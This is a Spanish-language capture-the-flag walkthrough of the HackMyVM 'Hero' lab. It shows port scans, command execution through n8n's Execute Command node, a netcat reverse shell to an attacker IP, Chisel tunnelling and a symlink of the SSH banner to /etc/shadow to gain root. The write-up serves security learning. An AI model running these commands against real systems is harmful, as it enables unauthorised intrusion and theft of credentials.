HackMyVM - Hero
- Through Arbitrary Command Execution in n8n Command Module (RCE)
- RSA Key Leak (HTTP)
- Symbolic Link - Shadow File (Privilege Escalation)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.33
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
5678/tcp open rrac syn-ack ttl 63
Escaneo de servicios
❯ nmap -sVC -p 80,5678 172.0.100.33
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
5678/tcp open rrac?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Accept-Ranges: bytes
| Cache-Control: public, max-age=86400
| Last-Modified: Mon, 24 Feb 2025 08:02:09 GMT
| ETag: W/"7b7-19536fa51e4"
| Content-Type: text/html; charset=UTF-8
| Content-Length: 1975
| Vary: Accept-Encoding
| Date: Mon, 24 Feb 2025 08:05:22 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script>
| <meta charset="utf-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="viewport" content="width=device-width,initial-scale=1.0" />
| <link rel="icon" href="/favicon.ico" />
| <style>@media (prefers-color-scheme: dark) { body { background-color: rgb(45, 46, 46) } }</style>
| <script type="text/javascript">
| window.BASE_PATH = '/';
| window.REST_ENDPOINT = 'rest';
| </script>
| <script src="/rest/sentry.js"></script>
| <script>!function(t,e){var o,n,
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Vary: Accept-Encoding
| Date: Mon, 24 Feb 2025 08:05:22 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
HTTP - TCP 80
HTTP - TCP 5678
Me registré y, al terminar el registro, vi el panel de administración.
Voy a Overview y hago clic en Start from scratch.
En AddFirst puedo añadir Execute Command para ejecutar comandos.
Como puedo ejecutar comandos, dejo un netcat al escucha y me lanzo una shell.
Reverse Shell:
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 172.0.100.25 1234 > /tmp/f
Recibo la shell.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.0.100.25] from (UNKNOWN) [172.0.100.33] 36223
~ $ id
uid=1000(node) gid=1000(node) groups=1000(node)
Enumero el sistema y me doy cuenta de que estoy dentro de un contenedor Docker.
~ $ ip a
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Descargo el binario estático de Nmap desde su repositorio y le otorgo permisos de ejecución.
~ $ wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap
Connecting to github.com (140.82.121.3:443)
Connecting to raw.githubusercontent.com (185.199.109.133:443)
saving to 'nmap'
nmap 100% |********************************| 5805k 0:00:00 ETA
~ $ chmod +x nmap
Realicé un escaneo de puertos en la subred 172.17.0.0/24
y encontré el puerto 22 abierto en la IP 172.17.0.1
.
~ $ ./nmap -p- 172.17.0.*
Nmap scan report for 172.17.0.1
Host is up (0.000092s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5678/tcp open unknown
Subo Chisel a la máquina víctima y creo un túnel de la siguiente manera:
Máquina atacante
./chisel server --reverse -p 9080
Máquina víctima
./chisel client 172.0.100.25:9080 R:socks
Configuro Proxychains para que funcione con Chisel.
❯ nano /etc/proxychains.conf
Añado esta línea al final del archivo y, seguidamente, usaré la llave RSA que encontré anteriormente en el servicio HTTP.
socks5 127.0.0.1 1080
Si al final del archivo tenéis algún proxy configurado, comentadlo; si no, os dará un error.
Al intentar conectarme con un usuario al azar, me muestra lo siguiente:
Introduzco el usuario shawa y me conecto al sistema.
En la carpeta /opt hay un archivo de texto llamado banner.txt, que pertenece al usuario root.
hero:~$ ls -l /opt
total 8
-rw-rw-rw- 1 root root 16 Feb 6 10:09 banner.txt
drwx--x--x 4 root root 4096 Feb 6 10:14 containerd
Si lo leo, dice: shawa was here., lo que significa que es el mensaje que muestra SSH al conectarnos. Sabiendo esto, puedo crear un enlace simbólico de banner.txt
al archivo shadow.
hero:~$ ln -sf /etc/shadow /opt/banner.txt
Me reconecto y puedo leer el archivo shadow y en el primer comentario puedo ver una cadena de texto.
- SSH está configurado para mostrar un banner, leerá
banner.txt
al iniciar sesión. - Como
banner.txt
apunta a/etc/shadow
, y SSH se ejecuta como root, este tiene permiso para leerlo.
Para obtener acceso como root, introduzco la cadena de texto que encontré comentada en el archivo shadow.
hero:~$ su root
Password:
/home/shawa # id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/home/shawa #
Y así concluye el viaje en la máquina Hero.
Que el destino te guíe.
Saludos.